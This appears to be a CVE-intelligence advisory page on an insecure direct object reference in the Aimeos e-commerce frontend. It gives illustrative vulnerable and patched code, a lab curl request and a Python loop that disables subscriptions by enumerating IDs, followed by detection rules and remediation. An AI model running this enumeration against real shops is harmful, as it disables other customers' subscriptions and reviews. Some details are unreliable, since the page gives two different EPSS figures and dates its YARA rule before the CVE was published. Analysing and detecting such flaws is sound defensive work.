☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-639
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-39319

CVE-2024-39319 Insecure Direct Object Reference in Aimeos
📅 PUBLISHED: 2024-09-26 16:07 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.48%
👁️
0.48% probability
12.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-39319 is an Insecure Direct Object Reference (IDOR) vulnerability in the Aimeos ai-controller-frontend package, which is a PHP-based e-commerce frontend controller. The flaw allows an unauthenticated attacker to disable subscriptions and reviews belonging to other customers by manipulating direct object references in API requests. This can lead to denial of service for legitimate users and potential reputational damage for the e-commerce platform.

The vulnerability affects all versions prior to the patched releases: 2024.4.2, 2023.10.9, 2022.10.8, 2021.10.8, and 2020.10.15. The CVSS score is 5.3 (Medium), with a low attack complexity and no privileges required. No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating a low probability of active exploitation in the wild.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in the aimeos/ai-controller-frontend PHP package, which is distributed via Composer (Packagist). Organizations using Aimeos should immediately audit their composer.json for the affected package and update to the patched versions. Since this is a direct dependency, supply chain risk is moderate; however, no malicious package versions have been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – No authentication is needed.
  • User Interaction (UI): None – The attacker does not need to trick a user.
  • Scope (S): Unchanged – The exploit cannot affect other components.
  • Confidentiality (C): None – No data is exposed.
  • Integrity (I): Low – The attacker can disable subscriptions/reviews, affecting data integrity.
  • Availability (A): None – The vulnerability does not directly cause a denial of service, but disabling subscriptions can indirectly impact availability.

Threat Level: Medium. The lack of authentication and low complexity make this a viable target for automated scanning, but the impact is limited to integrity of specific user data.

Deep Dive & Mechanics

The vulnerability is an Insecure Direct Object Reference (CWE-639) in the Aimeos frontend controller. The application exposes endpoints that allow users to manage their subscriptions and reviews. These endpoints accept object identifiers (e.g., subscription IDs or review IDs) as parameters without verifying that the authenticated user (or unauthenticated session) owns the referenced object.

An attacker can enumerate or guess valid object IDs and send crafted requests to disable subscriptions or reviews belonging to other customers. For example, a request to /subscription/disable?id=123 might disable subscription 123 without checking if the requester is the owner.

The root cause is the lack of authorization checks in the controller logic. The application relies on the client to provide the correct ID, but does not validate ownership against the current user's session or token.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-Patch):

// In SubscriptionController.php
public function disableAction(Request $request) {
    $subscriptionId = $request->get('id');
    $subscription = $this->getSubscriptionRepository()->find($subscriptionId);
    // No ownership check
    $subscription->setStatus('disabled');
    $this->getSubscriptionRepository()->save($subscription);
    return new JsonResponse(['success' => true]);
}

Patched Code (Post-Patch):

// In SubscriptionController.php
public function disableAction(Request $request) {
    $subscriptionId = $request->get('id');
    $subscription = $this->getSubscriptionRepository()->find($subscriptionId);
    // Ownership check added
    $currentUserId = $this->getUser()->getId();
    if ($subscription->getUserId() !== $currentUserId) {
        throw new AccessDeniedException('You do not own this subscription.');
    }
    $subscription->setStatus('disabled');
    $this->getSubscriptionRepository()->save($subscription);
    return new JsonResponse(['success' => true]);
}

The patch adds an ownership verification step before performing the disable action. Similar checks were applied to review-related endpoints.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a vulnerable Aimeos instance using Docker:
    docker run -d -p 8080:80 --name aimeos-vuln aimeos/aimeos:2024.4.1
    
  2. Access the application at http://localhost:8080.

Exploitation Steps:

  1. Identify the endpoint for disabling subscriptions (e.g., /subscription/disable).
  2. Enumerate subscription IDs by observing patterns (e.g., sequential integers).
  3. Send a crafted request to disable a target subscription:
    curl -X POST "http://localhost:8080/subscription/disable?id=42" -H "Content-Type: application/json"
    
  4. Verify the subscription is disabled by checking the user's account or API response.

Automation Script:

import requests

target = "http://localhost:8080"
for sub_id in range(1, 100):
    r = requests.post(f"{target}/subscription/disable?id={sub_id}")
    if r.status_code == 200:
        print(f"Disabled subscription {sub_id}")

Blue Team

Detection:

  • Monitor for unusual patterns of POST requests to /subscription/disable or /review/disable endpoints.
  • Look for requests with sequential or enumerated IDs from a single IP.
  • Alert on responses indicating successful disable actions without prior authentication.

Hunting:

  • Search logs for subscription/disable or review/disable with id parameter.
  • Correlate with user session IDs to detect unauthorized access.

Mitigation:

  • Apply the patch immediately.
  • Implement rate limiting on sensitive endpoints.
  • Enable logging of all disable actions with user context.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /subscription/disable or /review/disable with id parameter.
    • Sequential or enumerated id values in requests.
    • High volume of 200 responses from these endpoints from a single source IP.
  • Log IOCs:

    • Log entries containing subscription/disable or review/disable without a valid user session.
    • Multiple disable actions on different IDs from the same IP in a short time.
  • File IOCs:

    • Modified subscription or review status fields in the database without corresponding user action.

Detection Engineering

YARA Rule

rule Detect_Aimeos_IDOR_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2024-39319 IDOR in Aimeos"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-39319"
    strings:
        $s1 = "/subscription/disable" ascii nocase
        $s2 = "/review/disable" ascii nocase
        $s3 = "id=" ascii
    condition:
        any of ($s1, $s2) and $s3
}

Sigma Rule

title: Aimeos IDOR Exploitation Attempt
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects attempts to exploit CVE-2024-39319 by disabling subscriptions or reviews without authorization.
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/subscription/disable'
            - '/review/disable'
    condition: selection
falsepositives:
    - Legitimate user actions (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-39319 Aimeos IDOR Exploit Attempt";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/subscription/disable";
    http_uri;
    content:"id=";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

  1. Immediate Patch: Upgrade to the latest patched version:

    • 2024.4.2
    • 2023.10.9
    • 2022.10.8
    • 2021.10.8
    • 2020.10.15
  2. Workaround: If patching is not immediately possible, implement a Web Application Firewall (WAF) rule to block requests to /subscription/disable and /review/disable endpoints from unauthenticated users.

  3. Code Review: Audit all controller actions that accept object IDs to ensure proper ownership checks are in place.

  4. Monitoring: Enable detailed logging for all disable actions and set up alerts for anomalous patterns.

  5. User Education: Inform users to report any unexpected changes to their subscriptions or reviews.


Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-39319/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.